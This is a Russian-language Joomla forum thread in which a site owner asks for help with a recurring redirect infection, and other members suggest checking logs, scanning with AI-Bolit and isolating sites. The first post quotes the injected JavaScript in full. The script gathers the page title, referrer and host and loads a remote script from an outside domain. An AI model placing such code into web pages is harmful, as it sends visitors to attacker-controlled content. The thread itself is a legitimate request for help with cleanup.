Новости Joomla

Совет по Joomla: использовать выключенное состояние для кнопок в списках элементов админки

Онлайн-трансляции Joomla-разработки Игоря Бердичевского

20 лет Joomla: Ринат Кажетов

20 лет Joomla: Ринат Кажетов.В 2025 году Joomla исполнилось 20 лет

В 2025 году Joomla исполнилось 20 лет. Вокруг неё сложилось большое интернациональное русскоязычное сообщество. На сайте нашего сообщества и на Хабре к юбилею были собраны интервью с его видными представителями. Сегодня мы читаем интервью с Ринатом Кажетовым (@rkazhet). Ринат - один из администраторов чата русскоязычного Joomla-сообщества, из Казахстана. Это человек, который всегда знает или найдёт нужную ссылку, пристально следит за новостями в мире Joomla, многое узнаёт первым и просто очень отзывчивый человек. Интервью с Ринатом взял Евгений Сивоконь.

Читать интервью

1   Вниз
0 Пользователей и 1 Гость просматривают эту тему.
  • 10 Ответов
  • 2481 Просмотров
*

webwin12

  • Новичок
  • 5
  • 0 / 0
Вирусняк на сайте, редиректит, Что делать? Где копать?
« : 20.11.2015, 01:10:35 »
Вот такой кусок ***-кода прописывается в index.php шаблона каждый раз после его удаления.   

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://RUBYROCKINGCHAIR.COM/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>
</head>

Joomla 2.5.28
Сторонние компоненты: K2 Version 2.6.8, Phoca Maps. Модули: ARI Image Slider, Sj Contact AJAX.
Дата последнего входа в панель управления: 2015-11-19 20:54:05 - реально не был в это время.
Что делал пять дней назад:
Проверял на base64 файлы и сканил антивиром, айболитом, ничего не обнаружил.
Удалил *** код, поменял все пароли какие можно, запретил доступ в админку через htaccess (только по айпи).
Тишина дней пять, теперь опять.
Что делать? Где копать?    !
Записан
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Вирусняк на сайте, редиректит, Что делать? Где копать?
« Ответ #1 : 20.11.2015, 01:11:59 »
варез есть?
Записан
*

webwin12

  • Новичок
  • 5
  • 0 / 0
Re: Вирусняк на сайте, редиректит, Что делать? Где копать?
« Ответ #2 : 20.11.2015, 01:18:25 »
Нет не варез.
Записан
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Вирусняк на сайте, редиректит, Что делать? Где копать?
« Ответ #3 : 20.11.2015, 01:21:38 »
Хм.. 15 баксов смартаддонс платили?
Записан
*

webwin12

  • Новичок
  • 5
  • 0 / 0
Re: Вирусняк на сайте, редиректит, Что делать? Где копать?
« Ответ #4 : 20.11.2015, 01:32:54 »
Вы про Sj Contact AJAX, затрудняюсь ответить т.к. сайт достался по наследству. Так в чём может быть причина?
Записан
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Вирусняк на сайте, редиректит, Что делать? Где копать?
« Ответ #5 : 20.11.2015, 01:48:25 »
В том что сами установили бэкдор или тот кто сайт делал.
Записан
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Re: Вирусняк на сайте, редиректит, Что делать? Где копать?
« Ответ #6 : 20.11.2015, 06:51:59 »
Смотреть в логах хостинга запросы POST и проверять каждый файл, к которому запрос
Записан
*

wishlight

  • Гуру
  • 5074
  • 319 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Вирусняк на сайте, редиректит, Что делать? Где копать?
« Ответ #7 : 20.11.2015, 09:26:55 »
Выставьте Айболит на параноидальный уровень проверки и проверьте. Что-то по любому есть. Хотя может заражаться с других сайтов аккаунта если такие есть. Securitycheck можно поставить и проверить в его списке уязвимости расширений.
Записан
*

webwin12

  • Новичок
  • 5
  • 0 / 0
Re: Вирусняк на сайте, редиректит, Что делать? Где копать?
« Ответ #8 : 21.11.2015, 23:12:30 »
Цитата: wishlight от 20.11.2015, 09:26:55
Выставьте Айболит на параноидальный уровень проверки и проверьте. Что-то по любому есть. Хотя может заражаться с других сайтов аккаунта если такие есть. Securitycheck можно поставить и проверить в его списке уязвимости расширений.
Спасибо за наводку, так оно и было т.е. был тестовый поддомен типа test.site.ru, его не юзали вообще года два наверное, там была Joomla старой версии вообще 1.5.... Короче что там было долго объяснять, кошмар одним словом, куча левых файлов типа  defines.php.suspected прям в корне. Еще раз спасибо!
Записан
*

wishlight

  • Гуру
  • 5074
  • 319 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Вирусняк на сайте, редиректит, Что делать? Где копать?
« Ответ #9 : 22.11.2015, 03:16:52 »
На будущее советую все сайты держать отдельно по пользователям или хотя бы open_basedir.
Записан
*

webwin12

  • Новичок
  • 5
  • 0 / 0
Re: Вирусняк на сайте, редиректит, Что делать? Где копать?
« Ответ #10 : 22.11.2015, 12:29:20 »
ОК)
Записан
1   Вверх
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Скрипт для поиска вирусов и вредоносных скриптов на сайте "AI-Bolit"

Автор revisium

 Ответов: 110
Просмотров: 71263 		Последний ответ 30.08.2023, 12:53:33
от SeBun
Re: Кажется вирус на сайте

Автор motokraft

 Ответов: 24
Просмотров: 5102 		Последний ответ 04.05.2022, 14:04:17
от ProtectYourSite
На сайте появился вирус

Автор Lifar

 Ответов: 3
Просмотров: 1228 		Последний ответ 23.04.2021, 10:12:05
от ProtectYourSite
Регистрируются боты на сайте непрерывно.

Автор Stich SPb

 Ответов: 27
Просмотров: 14315 		Последний ответ 22.02.2021, 17:42:48
от soty20
Вирус на сайте, редирект, что делать как лечить!

Автор flyingspook

 Ответов: 792
Просмотров: 291902 		Последний ответ 23.02.2020, 21:18:16
от draff